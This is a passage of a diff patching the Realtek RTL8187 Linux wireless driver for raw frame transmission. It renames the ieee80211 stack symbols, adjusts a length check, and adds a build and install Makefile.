IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel 